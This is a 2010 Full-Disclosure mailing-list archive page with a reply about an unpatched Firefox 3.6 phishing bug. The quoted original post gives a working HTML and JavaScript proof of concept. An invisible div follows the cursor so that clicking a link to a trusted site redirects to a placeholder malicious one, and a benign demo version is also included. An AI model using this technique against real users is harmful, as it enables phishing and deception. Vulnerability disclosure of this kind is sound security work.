full-disclosure - Re: Mozilla firefox 3.6 unpatched phishing vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Thu, 25 Feb 2010 20:26:51 +0530
From: Pradip Sharma <sharma.pradip@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Mozilla firefox 3.6 unpatched phishing
	vulnerability

On Thu, Feb 25, 2010 at 3:59 AM, <bugsbanned@...hmail.com> wrote:

> ...Unpatched bug since Mozilla firefox 3.0...
>
> Mozilla "INsecurity team" remember, security through obscurity just
> DOESN'T WORK...
> Locking down bugzilla advisories even the 2 years old ones is
> unnecessary and lame.
>
> <html>
> <body>
> <div id="mydiv"
> onmouseover="document.location='http://Maliciouswebsite';"
> style="position:absolute;width:2px;height:2px;background:#FFFFFF;bor
> der:0px"></div>
> <script>
> function updatebox(evt) {
> mouseX=evt.pageX?evt.pageX:evt.clientX;
> mouseY=evt.pageY?evt.pageY:evt.clientY;
> document.getElementById('mydiv').style.left=mouseX-1;
> document.getElementById('mydiv').style.top=mouseY-1;
> }
> </script>
> <br>
> <a href="http://trustedwebsite" onclick="updatebox(event)"><font
> style="font-family:arial;font-size:32px">http://trusted
> website</font></a><br>
>
> </div>
> </body>
> </html>
>
> For example:
>
> <html>
> <body>
> <div id="mydiv"
> onmouseover="document.location='http://www.wikipedia.org';"
> style="position:absolute;width:2px;height:2px;background:#FFFFFF;bor
> der:0px"></div>
> <script>
> function updatebox(evt) {
> mouseX=evt.pageX?evt.pageX:evt.clientX;
> mouseY=evt.pageY?evt.pageY:evt.clientY;
> document.getElementById('mydiv').style.left=mouseX-1;
> document.getElementById('mydiv').style.top=mouseY-1;
> }
> </script>
> <br>
> <a href="http://www.google.com" onclick="updatebox(event)"><font
> style="font-family:arial;font-
> size:32px">http://www.google.com</font></a><br>
>
> </div>
> </body>
> </html>
>
> Source:www exploit-db com
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/